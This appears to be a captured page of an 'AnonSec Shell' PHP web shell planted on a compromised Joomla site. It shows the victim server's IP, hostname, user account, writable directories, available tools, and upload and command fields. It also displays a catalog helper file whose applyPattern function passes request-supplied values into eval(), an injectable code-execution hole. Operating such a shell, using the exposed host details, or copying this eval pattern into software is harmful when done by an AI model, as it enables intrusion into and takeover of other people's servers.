AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/bordeaux/components/com_djcatalog2/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/bordeaux/components/com_djcatalog2/helpers/calculator.php
<?php

use Joomla\CMS\Filter\OutputFilter;
use Joomla\Registry\Registry;
use Joomla\CMS\Factory;

class CalculatorHelper
{

	protected static $_calculators = [];
	protected static $_fields = [];


	public $fields = [];

	public static function getInstance($calculatorId)
	{
		if (!isset(self::$_calculators[$calculatorId])) {
			self::$_calculators[$calculatorId] = new CalculatorHelper($calculatorId);

		}
		return self::$_calculators[$calculatorId];
	}

	public function __construct($calculatorId)
	{
		$db = Factory::getDbo();
		$db->setQuery('SELECT * FROM #__djc2_calculators WHERE id = ' . (int)$calculatorId);
		$this->calculator = $db->loadObject();
		if ($this->calculator) {
			$fieldsJson = json_decode($this->calculator->fields);
			$fields = [];
			foreach ($fieldsJson as $field) {
				$fields[OutputFilter::stringURLSafe($field->name)] = $field;
			}
			$this->fields = $fields;
		}
	}


	public function applyPattern($product, $data = [])
	{
		$pattern = $this->calculator->pattern;
		$search = ['[[price]]'];
		$replace = [$product->final_price];


		foreach ($this->fields as $fieldName => $field) {

			if(isset($data[$field->name])) {
				$search[] = '[[' . $fieldName . ']]';
				$replace[] = $data[$field->name];
			}else {
				$search[] = '[[' . $fieldName . ']]';
				$replace[] = 0;
			}
		}






		$result = 0;
		$pattern = str_replace($search, $replace, $pattern);


		try {
			eval('$result = @(' . $pattern . ');');


			return $result;
		} catch (ParseError $e) {
			$app = Factory::getApplication();
			$app->enqueueMessage(\Joomla\CMS\Language\Text::_('COM_DJCATALOG2_PARSE_CALCULATOR_PATTERN_ERROR'));
			return $product->final_price;
		}
	}

	public function parseOrderItemAttributes($attributes)
	{
		$data = [];


		foreach ($this->fields as $field) {
			if (isset($attributes[$field->name])) {

				switch ($field->type) {
					case 'checkbox':

						foreach ($field->options as $option) {
							if ($option->text == $attributes[$field->name]) {
								$data[$field->name] = $option->price;
								break;
							}
						}

						break;
					default:
						$data[$field->name] = $attributes[$field->name];
						break;
				}

			}
		}
		return $data;
	}



}

Anon7 - 2022
AnonSec Team